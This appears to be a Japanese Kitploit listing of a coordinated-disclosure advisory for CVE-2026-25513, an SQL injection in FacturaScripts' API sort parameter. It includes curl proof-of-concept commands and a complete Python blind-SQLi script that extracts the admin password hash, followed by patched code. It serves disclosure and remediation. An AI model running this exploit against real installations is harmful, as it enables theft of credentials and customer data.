Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScriptsのAPI ORDER BY句におけるSQLインジェクション | Kitploit
ツール/GitHubGitHub/lukasz-rybak/cve-2026-25513
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScriptsのAPI ORDER BY句におけるSQLインジェクション

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-25513: FacturaScripts の API ORDER BY 句における SQL インジェクション

概要

項目詳細
CVE IDCVE-2026-25513
深刻度高
アドバイザリアドバイザリを表示
発見者Lukasz Rybak

影響を受ける製品

  • facturascripts/facturascripts(バージョン: < 2025.81)

CWE 分類

  • CWE-20: 不適切な入力検証
  • CWE-89: SQL コマンドで使用される特殊要素の不適切な無害化('SQL インジェクション')
  • CWE-943: データクエリロジックにおける特殊要素の不適切な無害化
  • CWE-1286: 入力の構文上の正しさの不適切な検証

詳細

要約

FacturaScripts の REST API には重大な SQL インジェクションの脆弱性が存在し、認証済み API ユーザーが sort パラメータを通じて任意の SQL クエリを実行できるようになります。この脆弱性は ModelClass::getOrderBy() メソッドに存在し、ユーザーが指定した並べ替えパラメータが検証やサニタイズなしに SQL の ORDER BY 句に直接連結されます。これは、並べ替え機能をサポートする すべての API エンドポイント に影響します。


詳細

FacturaScripts REST API は、さまざまなエンドポイント(例: /api/3/users、/api/3/attachedfiles、/api/3/customers)を通じてデータベースモデルを公開しています。これらのエンドポイントは、クライアントが結果の並び順を指定できるようにする sort パラメータをサポートしています。API はこのパラメータを ModelClass::all() メソッド経由で処理し、このメソッドが脆弱な getOrderBy() 関数を呼び出します。

脆弱なコード箇所

1. レガシーモデル: ファイル: /Core/Model/Base/ModelClass.php メソッド: getOrderBy() $order 配列からのキーと値の直接連結。

2. モダンモデル(DbQuery): ファイル: /Core/DbQuery.php メソッド: orderBy() 行: 255-259

root@kitploit:~
        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

このチェックは SQL 関数を許可することを意図していますが、それらの検証に失敗するため、任意の SQL インジェクションが可能になります。


概念実証(PoC)

前提条件

  • 有効な API 認証トークン(X-Auth-Token ヘッダー)
  • FacturaScripts API エンドポイントへのアクセス

ステップバイステップの検証(CLI)

FacturaScripts では既存の API キーが必要なため、まず Web インターフェース経由でログインして有効なキーを探します。

1. ログインして有効な API キーを取得: 設定にアクセスして最初に利用可能なキーを取得するために、CSRF トークンとセッション Cookie を処理します。

root@kitploit:~
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. 時間ベースの SQL インジェクションを検証: 抽出した API_KEY を X-Auth-Token ヘッダーで使用します。

root@kitploit:~
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

期待される結果: インジェクションされたリクエストは大幅に時間がかかり(遅延はデータベースのレコード数に依存します)、SQL インジェクションが確認されます。


自動化されたエクスプロイトツール

このスクリプトは FacturaScripts に自動ログインし、有効な API キーを取得して、時間ベースのブラインド SQL インジェクションを用いた大文字小文字を区別するデータ抽出を実行します。

root@kitploit:~
import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()
画像

影響

データの機密性

  • ブラインド SQL インジェクション技術による データベース全体の開示
  • 以下を含む機密データの抽出:
    • ユーザーの認証情報と API キー
    • 顧客の個人識別情報(PII)
    • 財務記録と取引データ
    • ビジネスインテリジェンスと価格情報
    • システム設定と機密情報

影響を受けるユーザー

  • 統合に FacturaScripts API を使用している組織
  • API を使用する モバイルアプリおよびサードパーティ統合
  • API 経由でデータにアクセス可能なすべてのユーザー
  • API アクセス権を持つビジネスパートナー

推奨される修正

即時の是正措置

オプション 1: 厳格なホワイトリスト検証の実装(推奨)

root@kitploit:~
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }

        // Escape column name
        $safeColumn = self::$dataBase->escapeColumn($key);
        $result .= $coma . $safeColumn . ' ' . $value;
        $coma = ', ';
    }

    return $result;
}

オプション 2: データベースエスケープ関数の使用

root@kitploit:~
private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    foreach ($order as $key => $value) {
        // Escape identifiers and validate direction
        $safeColumn = self::$dataBase->escapeColumn($key);
        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
            ? strtoupper($value)
            : 'ASC';

        $result .= $coma . $safeColumn . ' ' . $safeDirection;
        $coma = ', ';
    }

    return $result;
}

オプション 3: クエリビルダーパターンの使用

root@kitploit:~
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
    $query = self::table();

    // Apply WHERE conditions
    foreach ($where as $condition) {
        $query->where($condition);
    }

    // Apply ORDER BY with validation
    foreach ($order as $column => $direction) {
        if (!array_key_exists($column, static::getModelFields())) {
            continue; // Skip invalid columns
        }
        $query->orderBy($column, $direction);
    }

    return $query->offset($offset)->limit($limit)->get();
}

API セキュリティのベストプラクティス

root@kitploit:~
// Add to API configuration
$config = [
    'max_sort_fields' => 3,  // Limit number of sort fields
    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
    'default_sort' => 'id ASC',  // Safe default
];

クレジット

発見者: Łukasz Rybak

参照

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99
  • https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25513
  • https://github.com/advisories/GHSA-cjfx-qhwm-hf99

免責事項

この CVE は、協調的な脆弱性開示の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御目的のみを意図しています。

ツールをダウンロード